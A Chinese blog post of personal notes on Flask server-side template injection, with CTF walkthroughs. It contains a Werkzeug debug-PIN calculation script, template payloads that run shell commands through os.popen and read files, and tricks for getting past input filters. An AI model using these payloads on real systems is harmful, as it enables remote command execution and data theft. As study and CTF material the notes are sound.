【心得】基于flask的SSTI个人笔记

目录

计算PIN码

例题1

SSTI的引用链

例题2


SSTI利用条件:

渲染字符串可控,也就说模板的内容可控

我们通过模板 语法 {{ xxx }}相当于变相的执行了服务器上的python代码

利用render_template_string函数参数可控,或者部分可控

render_template     相当于 include 传入的时模板的名字,执行的时模板文件内的模板语法

render_template_string 相当于 eval 执行传入的字符串,直接作为模板语法解析

验证ssti是否存在

1 {{ 2*2 }}

2 {{ config }}

计算PIN码


如果文件读取存在,可以拼凑出PIN的所有计算要素,从而自己计算出PIN码

计算PIN码

modname: flask.app
username: Administrator

public_bits 内容

['Administrator', 'flask.app', 'Flask', 'D:\\Python\\Python310\\lib\\site-packages\\flask\\app.py']

我们需要知道当前登陆的用户名

private_bits 内容

['197975952026825', b'5d744fd6-d3af-4dec-83f4-04043f200c3c']

getNode     uuid.getnode
machine_id  读注册表内容


总结
要计算PIN码,需要private_bits 和public_bits 

分别需要确定的是:

1 python运行的脚本名
2 固定值  flask.app
3 固定值  Flask
4 当前脚本运行的绝对路径  可以从报错获取
5 uuid.getnode
6 machine_id


['Administrator', 'flask.app', 'Flask', 'D:\\Python\\Python310\\lib\\site-packages\\flask\\app.py']
['Administrator', 'flask.app', 'Flask', 'D:\\Python\\Python310\\Lib\\site-packages\\flask\\app.py']


['197975952026825', '5d744fd6-d3af-4dec-83f4-04043f200c3c']
['197975952026825', '5d744fd6-d3af-4dec-83f4-04043f200c3c']

linux下
getNode读取的文件  /sys/class/net/eth0/address

02:42:0a:00:01:74

对其进行整理
>>> s='02:42:0a:00:01:74'
>>> s=s.replace(":","")
>>> print(int(s[1:],16))
2482658869620

boot_id  44ddd8c9-5268-4269-9bd7-5563103e44c2
3fa8bf6711e02f5e09e6936cb69334a95de825dd72459b267799158eafe81163

machine_id /proc/sys/kernel/random/boot_id+/proc/self/cgroup 

整理后 拼接

最终machine_id  

05167573-d6ac-4836-ab76-a7897c7a600a67b526fe168364350b1a9d0ebfeb5507ccd18a0266195ce58774271715af430e

例题1

web91

访问/console发现开启了debug模式

读/etc/passwd看用户名

 

随便传值,使其报错

得到app路径:/usr/local/lib/python3.8/site-packages/flask/app.py

/sys/class/net/eth0/address读getNode得到uuid

02420a000168 十六进制转十进制即可

2,482,658,869,608

尝试读 /etc/machine-id失败

 读/proc/sys/kernel/random/boot_id

读 /proc/self/cgroup

整理后 拼接得到最终machine_id

44ddd8c9-5268-4269-9bd7-5563103e44c23fa8bf6711e02f5e09e6936cb69334a95de825dd72459b267799158eafe81163

贴出算PIN码的脚本

import hashlib
from itertools import chaindef getPIN(public_bits,private_bits):rv = Nonenum = Noneh = hashlib.sha1()for bit in chain(public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode("utf-8")h.update(bit)h.update(b"cookiesalt")cookie_name = f"__wzd{h.hexdigest()[:20]}"# If we need to generate a pin we salt it a bit more so that we don't# end up with the same value and generate out 9 digitsif num is None:h.update(b"pinsalt")num = f"{int(h.hexdigest(), 16):09d}"[:9]# Format the pincode in groups of digits for easier remembering if# we don't have a result yet.if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = "-".join(num[x : x + group_size].rjust(group_size, "0")for x in range(0, len(num), group_size))breakelse:rv = numreturn rv, cookie_nameif __name__ == "__main__":public_bits=['root','flask.app','Flask','/usr/local/lib/python3.8/site-packages/flask/app.py'
]private_bits=['2482658869608','44ddd8c9-5268-4269-9bd7-5563103e44c23fa8bf6711e02f5e09e6936cb69334a95de825dd72459b267799158eafe81163']PIN = getPIN(public_bits,private_bits)print(PIN)

成功拿下console ,为所欲为即可

SSTI的引用链


"".__class__.__base__  拿到Object对象

.__subclasses__()[144]. 拿到os类

__init__.__globals__['popen']('calc') 调用os类的popen方法,执行calc参数

"".__class__.__base__.__subclasses__()[144].__init__.__globals__['popen']('calc')

突破过滤  

1 过滤字符.

"".__class__   转化为  ""['__class__'']

name={{ ""['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('ls /')['read']()}}


2 过滤下划线_

第一种 构造下划线   {% set a =(()|select|string|list).pop(24) %} {% print(a) %}

第二种 十六进制绕过  {{  ()["\x5f\x5fclass\x5f\x5f"]  }}

3 绕过[]过滤

__getitem__   可以把中括号换成小括号使用

name={{ "".__class__.__base__.__subclasses__().__getitem__(132) }}

4 过滤了{{

使用{% 绕过

5 过滤了单引号或者双引号

name={{ "".__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__[request.args.a](request.args.b).read() }}


6 过滤了数字

构造出1  {{(dict(e=a)|join|count)}}


7 关键字绕过

class  base  

{{dict(__cl=a,ass__=a)|join}}

8 还可以使用全角的数字绕过

0123456789


SSTI武器库


1、任意命令执行
{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__['popen']('dir').read()%}{%endif%}{%endfor%}
2、任意命令执行
{{"".__class__.__bases__[0]. __subclasses__()[138].__init__.__globals__['popen']('cat /flag').read()}}
//这个138对应的类是os._wrap_close,只需要找到这个类的索引就可以利用这个payload
3、任意命令执行
{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('dir').read()")}}
4、任意命令执行
{{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
//x的含义是可以为任意字母,不仅仅限于x
5、任意命令执行
{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}
6、文件读取
{{x.__init__.__globals__['__builtins__'].open('/flag', 'r').read()}}
//x的含义是可以为任意字母,不仅仅限于x

例题2

web92

 访问/login路由

随便传一个post

报错提示让post传一个name 

存在ssti

先找os

演示一种比较实用的找os索引值的方法

post:

name={{"".__class__.__base__.__subclasses__()}}

先复制

粘贴到记事本中,ctrl+f找到os

删去该os及其后所有类

复制,粘贴到vscode中

ctrl+f搜索","有几个逗号,os的索引值就是几,这里就是132

payload:

name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('ls /').read()}}

name={{"".__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('tac /F*').read()}} 

或者

name={{ ""['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('ls /')['read']()}}

name={{ ""['__class__']['__base__']['__subclasses__']()[132]['__init__']['__globals__']['popen']('tac /F*')['read']()}}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/195206.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

日志维护库:loguru

在复杂的项目中,了解程序的运行状态变得至关重要。在这个过程中,日志记录(logging)成为我们追踪、调试和了解代码执行的不可或缺的工具。在python语言中常用logging日志库,但是logging日志库使用相对繁琐,在…

创新案例|云服务平台HashiCorp是如何构建开源社区实现B2B增长飞轮

社区文化是HashiCorp企业文化的重要组成部分。虽然众多公司声称自己是社区驱动,但实际付诸行动的很少。与众不同的是,HashiCorp从一开始就将社区视为战略方针的核心,这也影响和塑造了公司今天的发展方向。社区不仅是执行策略之一,…

Java多线程(3)

Java多线程(3) 深入剖析Java线程的生命周期,探秘JVM的线程状态! 线程的生命周期 Java 线程的生命周期主要包括五个阶段:新建、就绪、运行、阻塞和销毁。 **新建(New):**线程对象通过 new 关键字创建&…

SPASS-聚类和判别分析

聚类与判别分析概述 基本概念 聚类分析 聚类分析的基本思想是找出一些能够度量样本或指标之间相似程度的统计量,以这些统计量为划分类型的依据,把一些相似程度较大的样本(或指标)聚合为一类,把另外一些彼此之间相似程度较大的样本又聚合为一类。根据分类对象的不同,聚类…

Jenkins测完通知到人很麻烦?一个设置配置钉钉消息提醒!

Jenkins 作为最流行的开源持续集成平台,其强大的拓展功能一直备受测试人员及开发人员的青睐。大家都知道我们可以在 Jenkins 中安装 Email 插件支持构建之后通过邮件将结果及时通知到相关人员。但其实 Jenkins 还可以支持钉钉消息通知,其主要通过 DingTa…

高效管理文件:如何通过文件数量归类提高工作效率

在日常生活和工作中,需要处理大量的文件和资料。然而,如果这些文件没有得到妥善的管理,就会使得我们花费大量的时间和精力去寻找和整理它们。对于大量文件,按照数量归类可以使得文件管理更加有序和规范。根据文件的数量建立相应的…

算法设计与分析复习--贪心(二)

文章目录 上一篇哈夫曼编码单源最短路最小生成树Kruskal算法Prim算法 多机调度问题下一篇 上一篇 算法设计与分析复习–贪心&#xff08;一&#xff09; 哈夫曼编码 产生这种前缀码的方式称为哈夫曼树 哈夫曼树相关习题AcWing 148. 合并果子 #include <iostream> #inc…

三层交换机实现不同VLAN间通讯

默认时&#xff0c;同一个VLAN中的主机才能彼此通信&#xff0c;那么交换机上的VLAN用户之间如何通信&#xff1f; 要实现VLAN之间用户的通信&#xff0c;就必须借助路由器或三层交换机来完成。 下面以三层交换机为例子说明&#xff1a; 注意&#xff1a; 1.交换机与三层交换…

CnosDB有主复制演进历程

分布式存储系统的复杂性涉及数据容灾备份、一致性、高并发请求和大容量存储等问题。本文结合CnosDB在分布式环境下的演化历程&#xff0c;分享如何将分布式理论应用于实际生产&#xff0c;以及不同实现方式的优缺点和应用场景。 分布式系统架构模式 分布式存储系统下按照数据复…

C语言 字符函数汇总,模拟实现各字符函数(炒鸡详细)

目录 求字符串长度 strlen 示例 模拟实现strlen 长度不受限制的字符串函数 strcpy 示例 模拟实现strcpy strcat 模拟实现strcat strcmp 示例 模拟实现strcmp 长度受限制的字符串函数介绍 strncpy 示例 模拟实现strncpy strncat 示例 模拟实现strncat s…

【【VDMA彩条显示实验之三 之 RGB LCD 彩条显示实验 】】

VDMA彩条显示实验之三 之 RGB LCD 彩条显示实验 VDMA彩条显示实验之三 之 RGB LCD 彩条显示实验 LCD 的构造是在两片平行的玻璃基板当中放置液晶盒&#xff0c;下基板玻璃上设置 TFT&#xff08;薄膜晶体管&#xff09;&#xff0c;上基板玻璃上设置彩色滤光片&#xff0c;通…

ChatGPT最强?文心一言与ChatGPT对比

对于同一个问题我们分别对文心一言3.5和ChatGPT3.5输出回答&#xff0c;结果如下图&#xff0c;可以看到文心一言的回答更好&#xff0c;文心一言是由百度开发的人工智能语言模型&#xff0c;它的中文理解能力主要是基于百度强大的搜索引擎和自然语言处理技术。文心一言更加注重…